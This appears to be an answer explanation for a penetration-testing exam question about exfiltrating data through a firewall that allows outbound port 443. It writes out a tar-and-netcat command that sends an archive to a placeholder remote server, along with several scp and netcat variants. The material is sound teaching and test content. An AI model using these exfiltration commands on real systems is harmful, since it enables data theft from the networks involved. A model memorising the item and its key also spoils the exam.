Given the firewall policy, let's analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are:
* Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).
* Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).
* Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).
* Block: All other traffic (*).
Breakdown of Options:
* Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
* This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.
* Since the firewall allows outbound connections on port 443 (both within and outside the subnet
192.168.10.0/24), this command adheres to the policy and is the correct choice.
* Option B: gzip /path/to/data && cp data.gz <remote_server> 443
* This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.
* Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22
* This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.
* Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>
* This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks port 22, this command will not work.
References from Pentest:
* Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.
* Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.
* Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration.
The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.